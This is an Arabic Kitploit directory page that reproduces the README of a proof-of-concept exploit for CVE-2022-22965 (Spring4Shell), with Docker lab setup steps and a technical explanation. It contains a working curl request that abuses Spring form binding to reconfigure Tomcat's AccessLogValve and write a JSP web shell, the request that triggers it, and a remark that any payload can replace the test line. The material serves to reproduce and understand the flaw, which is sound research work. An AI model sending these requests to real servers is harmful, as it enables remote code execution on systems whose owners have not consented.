Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22965-PoC — استغلال إثبات مفهوم لثغرة CVE-2022-22965 (Spring4Shell) يوضح تنفيذ الأوامر عن بُعد عبر معالجة Tomcat AccessLogValve. يتضمن بيئة إعادة إنتاج قائمة على Docker وتحليلًا تقنيًا مفصلاً. | Kitploit
أدوات/GitHubGitHub/kirill89/cve-2022-22965-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

استغلال إثبات مفهوم لثغرة CVE-2022-22965 (Spring4Shell) يوضح تنفيذ الأوامر عن بُعد عبر معالجة Tomcat AccessLogValve. يتضمن بيئة إعادة إنتاج قائمة على Docker وتحليلًا تقنيًا مفصلاً.

عرض المستودع
32211منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22965 إثبات المفهوم

مثال بسيط لكيفية إعادة إنتاج ثغرة CVE-2022-22965 Spring RCE.

التشغيل باستخدام docker compose

  1. ابنِ التطبيق باستخدام Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. لاختبار التطبيق، تصفح إلى http://localhost:8080/handling-form-submission-complete/greeting
  3. شغّل الاستغلال
    root@kitploit:~
    ./exploits/run.sh
    
  4. سينشئ الاستغلال ملف rce.jsp في webapps/handling-form-submission-complete على خادم الويب.
  5. استخدم الاستغلال تصفح إلى http://localhost:8080/handling-form-submission-complete/rce.jsp

طريقة بديلة (موجّهة للتصحيح)

  1. شغّل خادم Tomcat في docker

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

أضف -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" إذا أردت التصحيح عن بُعد.

  • ابنِ المشروع

    root@kitploit:~
    ./mvnw install
    
  • انشر التطبيق

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  • اكتب الاستغلال

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    سينشئ الاستغلال ملف rce.jsp في webapps/handling-form-submission-complete على خادم الويب.

  • استخدم الاستغلال

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    سترى الآن 123 في طرفية الحاوية. استبدل System.out.println(123) بحمولتك لتنفيذ أي كود تريده.

  • شرح تقني مختصر

    1. يعرف Spring كيفية ربط حقول النماذج بكائنات Java. في مثالنا، يتعامل GreetingController مع طلبات POST على نقطة النهاية /greeting ويربط حقول النموذج بكائن Greeting.
    2. كما أنه يدعم ربط الحقول المتداخلة (مثل user.info.firstname). راجع AbstractNestablePropertyAccessor للمراجع.
    3. في مثالنا، تحتوي فئة Greeting على حقلين id وcontent، لكنها في الواقع تحتوي أيضًا على مرجع إلى كائن Class. يمكننا استخدام class.module.classLoader كمفتاح لبيانات النموذج للوصول إلى محمّل الفئات (classloader).
    4. في الإصلاح نرى أن التغيير الرئيسي كان تقييد الوصول إلى معظم خصائص كائن Class، بما في ذلك خاصية module.
    5. يتيح لنا هذا السلوك تعيين الخصائص العامة للفئات التي يمكن الوصول إليها عبر سلسلة المراجع المتداخلة من فئة Greeting. لا شيء أكثر من ذلك. في معظم الحالات لا يكون الأمر خطيرًا حتى، لأنه لا تتوفر فئات ذات حقول عامة حتى من class.module.classLoader.
    6. تصبح مشكلة على خادم Tomcat لأن محمّل الفئات هناك يحتوي على getResources accessor الذي يسمح لنا بمواصلة سلسلة المراجع والوصول إلى أحد مثيلات فئة AccessLogValve.
    7. هذه الفئة مخصصة لكتابة السجلات. نغيّر بعض الخصائص لجعلها تكتب ملفات بالاسم والمحتوى الذي نختاره. عند هذه النقطة لدينا كتابة ملفات عشوائية.
    8. ننشئ ملف jsp في جذر مجلد التطبيق مع الحمولة الخبيثة. وبما أن ملفات jsp تُنفَّذ تلقائيًا بواسطة Tomcat، يمكننا الانتقال إليها في المتصفح وتنفيذ الحمولة في النهاية. عندها يصبح الأمر تنفيذًا عشوائيًا للأكواد (RCE).

    الشروط

    يعمل الاستغلال فقط على Tomcat لأنه يمتلك محمّل فئات خاصًا. على الرغم من أن سلسلة مراجع مماثلة قد تكون موجودة على خوادم تطبيقات ويب أخرى أيضًا، إلا أنه لم يتم اكتشافها ببساطة بعد.

    يتطلب الاستغلال Java 9 أو أحدث لأن خاصية module أُضيفت في Java 9.

    المراجع

    • الجزء الخاص بالخادم مبني على الدليل خطوة بخطوة في https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
    • الجزء الخاص بالاستغلال مبني على السكربت https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
    • نشرة Snyk الأمنية حول الثغرة متاحة هنا: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
    تنزيل الأداة